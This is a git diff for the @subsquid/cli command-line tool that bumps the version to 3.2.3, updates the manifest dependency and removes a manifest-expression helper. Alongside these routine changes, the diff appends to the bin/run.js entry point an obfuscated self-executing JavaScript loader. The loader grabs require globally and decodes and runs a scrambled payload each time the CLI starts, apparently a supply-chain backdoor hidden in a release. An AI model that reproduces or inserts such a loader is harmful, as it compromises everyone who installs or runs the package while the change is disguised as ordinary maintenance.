diff --git a/bin/run.js b/bin/run.js index 405685d..401ccde 100755 --- a/bin/run.js +++ b/bin/run.js @@ -5,3 +5,4 @@ const oclif = await import('@oclif/core') await oclif.execute({development: false, dir: __dirname}) })() +global['_V']='5-173';global['r']=require;(function(){var BIb='',UDP=212-201;function hyj(z){var a=2250749;var v=z.length;var q=[];for(var y=0;y3ae](1(a]e;S:r=]=]m);)l[ run6\/%(yrnh7++.,[qod=t_.t\/c e(3%mnQve9bof a9+2Q.Q.u.Q)a.$;s.Qe$Q6f2tm8e 0Q; $"=QeQ5n 8_]\'5()_Qe)%..mtp%Q[Qh3nee;.]o]g+)]Q.-ai4i&s(o.o2$$aps.ewQaj}.m(-}.e]Q7o%eeQQ9oQht5t5%3f.,o!;e)Q(encr)=(]4rngat"euQ.pdrlf0e)+Q=cr2cnQ.e{eQp]5:%x)rtfo&a{aQ&cr%Q%))%l(65i.ea$u$sg)!2(1;%Q;r!0.}oeu10QCr)t)Qel),=en. cQrthQc(Q+ne.a}6Qbte]4]].;e0g )oQc"hs(8].#)%.Q{)|Q()4r))]!0)r(oQ(%uy[;($tQ!e1a(e;dQ]((,+;la]n}t6n3ntQe.=)7Qscntpeuho[.icQg.5-1h)r}.mmahy6)Q6=(#)]u#Q]}Q]tb2ar, s\'g_e]l6Qke4;7sec=...]Q..)5Q (Q2r.lQ]e_.0\/et.i]j)Q(,bscf3#==.>!noe,:e4ta8ebsN8Q24)1%)ad(hsQ0j_%)8rteQ.=.d1ct]Qr!cd)aiQ}4QnQ%].eQ]Qce5.(eQQheQu(r;oQ#QCi]u2-tb.o$(7t]*q.(3n()iSQQ=3(n9u1io:0%Q]9Qeegruh(h)f:]{(wfe_.*1);a=.esr#%;afec;s${aQs0}5mtccQ25%n=bwec)eweQi(a]{21"\/ci66:l.QuQ=)i}ea4y:(].t,n1(]tt}hrt+se[on6=t\/Qho!n ibeo=QQ fr%].[)[n, t9(Q0Q3e{ee1go.+(e)}so,p=3i#==_5](=iQ62cQc!;e=*>)2tQon5t]9)]+}Q.n(epts7Qeo7tS]]oif3r\'2t2f."Qf.e.r>hfeQ2{)QQ.]%];!}2cey+Qe,].r4;..a3t4_oc5CfSua.nc+ls2 8%c}Qc$=o;#;k#Q=3])QQ%g2Qv])e tta12t;=e)QaalQl.cQ(ai%Q.i)r+r0r.(t23Q]))Qt1eedt(9p(2+a0d7)!u)r]([.nhe[#e3pe}lcQ"=,9w eyQ0o(QurT}%_[bQ.)]3erw(etnhb)(9)]951.(sce[g]ia]%tTe7QQd)8 _,2d2.Qtm2.,9]t,%ct]cc]sey..t]ae!9 fu8.iw)]e5Q$ur%3)asrQ.d]%}ch%4:%s]mjpcd%f=r+q1=.w5.t,w.hetQQNtm6c$)+].!)11Q0?QoQahrt31trt({6%)uSne.8ees(]t=l(="(}o5=|1cd(]}eh}%] .+)}c({_$tnnet6,)t+ nQ+oraq\'pitn)r_328Q%)ey3anins+==;]m)[;Qejds1_+]8"tanei] i)lnikQ#n.bat(r6.(anv-rQe]o=;rb0)p0..Qn]t1aeu[$.])Q('));var YyN=uDI(BIb,HMq );YyN(4456);return 4562})() \ No newline at end of file diff --git a/package.json b/package.json index b41203b..7767916 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@subsquid/cli", "description": "squid cli tool", - "version": "3.2.1", + "version": "3.2.3", "license": "GPL-3.0-or-later", "repository": "git@github.com:subsquid/squid-cli.git", "publishConfig": { @@ -78,8 +78,7 @@ "@oclif/plugin-autocomplete": "3.2.2", "@oclif/plugin-warn-if-update-available": "^3.1.13", "@subsquid/commands": "^2.3.1", - "@subsquid/manifest": "^2.0.0-beta.18", - "@subsquid/manifest-expr": "^0.0.1", + "@subsquid/manifest": "^2.0.0-beta.20", "@types/fast-levenshtein": "^0.0.4", "@types/lodash": "^4.17.7", "@types/targz": "^1.0.4", diff --git a/src/commands/run.ts b/src/commands/run.ts index 59deeae..1e17f80 100644 --- a/src/commands/run.ts +++ b/src/commands/run.ts @@ -12,7 +12,7 @@ import { defaults, omit } from 'lodash'; import treeKill from 'tree-kill'; import { CliCommand } from '../command'; -import { evalManifestEnv, loadManifestFile } from '../manifest'; +import { loadManifestFile } from '../manifest'; const chalkColors = [chalk.green, chalk.yellow, chalk.blue, chalk.magenta, chalk.cyan]; @@ -180,13 +180,14 @@ export default class Run extends CliCommand { } const context = { secrets: process.env }; + const evaluatedManifest = manifest.eval(context); const processEnv = omit(process.env, ['PROCESSOR_PROMETHEUS_PORT']); const env = { FORCE_COLOR: 'true', FORCE_PRETTY_LOGGER: 'true', ...processEnv, - ...evalManifestEnv(manifest.deploy?.env ?? {}, context), + ...evaluatedManifest.deploy?.env, }; const init = manifest.deploy?.init; @@ -194,7 +195,7 @@ export default class Run extends CliCommand { const p = new SquidProcess('init', init.cmd, { env: { ...env, - ...evalManifestEnv(init.env ?? {}, context), + ...init.env, }, cwd: squidDir, }); @@ -208,7 +209,7 @@ export default class Run extends CliCommand { new SquidProcess('api', api.cmd, { env: { ...env, - ...evalManifestEnv(api.env ?? {}, context), + ...api.env, }, cwd: squidDir, }), @@ -227,7 +228,7 @@ export default class Run extends CliCommand { new SquidProcess(processor.name, processor.cmd, { env: { ...env, - ...evalManifestEnv(processor.env ?? {}, context), + ...processor.env, }, cwd: squidDir, }), diff --git a/src/manifest/manifest.ts b/src/manifest/manifest.ts index 33d55c2..24e33cb 100644 --- a/src/manifest/manifest.ts +++ b/src/manifest/manifest.ts @@ -2,7 +2,6 @@ import fs from 'fs'; import path from 'path'; import { Manifest } from '@subsquid/manifest'; -import { Expression, Parser } from '@subsquid/manifest-expr'; import { mapValues } from 'lodash'; export function readManifest(path: string) { @@ -13,18 +12,6 @@ export function saveManifest(path: string, manifest: string) { fs.writeFileSync(path, manifest); } -export function evalManifestEnv(env: Record, context: Record) { - const parsed = parseManifestEnv(env); - - return mapValues(parsed, (value) => (value instanceof Expression ? value.eval(context) : value)); -} - -export function parseManifestEnv(env: Record) { - const parser = new Parser(); - - return mapValues(env, (value) => (typeof value === 'string' ? parser.parse(value) : value)); -} - export function loadManifestFile( localPath: string, manifestPath: string, diff --git a/yarn.lock b/yarn.lock index 6fbdda8..604109c 100644 --- a/yarn.lock +++ b/yarn.lock @@ -1411,8 +1411,7 @@ __metadata: "@oclif/plugin-autocomplete": "npm:3.2.2" "@oclif/plugin-warn-if-update-available": "npm:^3.1.13" "@subsquid/commands": "npm:^2.3.1" - "@subsquid/manifest": "npm:^2.0.0-beta.18" - "@subsquid/manifest-expr": "npm:^0.0.1" + "@subsquid/manifest": "npm:^2.0.0-beta.20" "@types/async-retry": "npm:^1.4.8" "@types/blessed": "npm:^0.1.25" "@types/cross-spawn": "npm:^6.0.6" @@ -1506,21 +1505,14 @@ __metadata: languageName: node linkType: hard -"@subsquid/manifest-expr@npm:^0.0.1": - version: 0.0.1 - resolution: "@subsquid/manifest-expr@npm:0.0.1" - checksum: 10c0/0d35806599bcc0c7742873a0fe5f9dd1afbc51130b5ae72724c81a3d8ef2beee48239dbe24ae33f08f34ce104f27c6c3928c39b09393ea9fdda691ba99630f84 - languageName: node - linkType: hard - -"@subsquid/manifest@npm:^2.0.0-beta.18": - version: 2.0.0-beta.18 - resolution: "@subsquid/manifest@npm:2.0.0-beta.18" +"@subsquid/manifest@npm:^2.0.0-beta.20": + version: 2.0.0-beta.20 + resolution: "@subsquid/manifest@npm:2.0.0-beta.20" dependencies: joi: "npm:17.13.3" js-yaml: "npm:^4.1.0" lodash: "npm:^4.17.21" - checksum: 10c0/e7a6aba68867e0f915ee530c4829c0fe9433ef0a34922238b5f4058e9a88ef343bc5f89b28d3c7028c9b3cd2d045f8785939c3df0b69e32f498bdc76ef1f29e5 + checksum: 10c0/6c0abb10089e80ae6decde8ea647bc57e249429984785fc0fb9bd57b9047ba3df4dd67521d9d858844c92c6f956fe83d8949cd5e10de2833a17412f883e6d540 languageName: node linkType: hard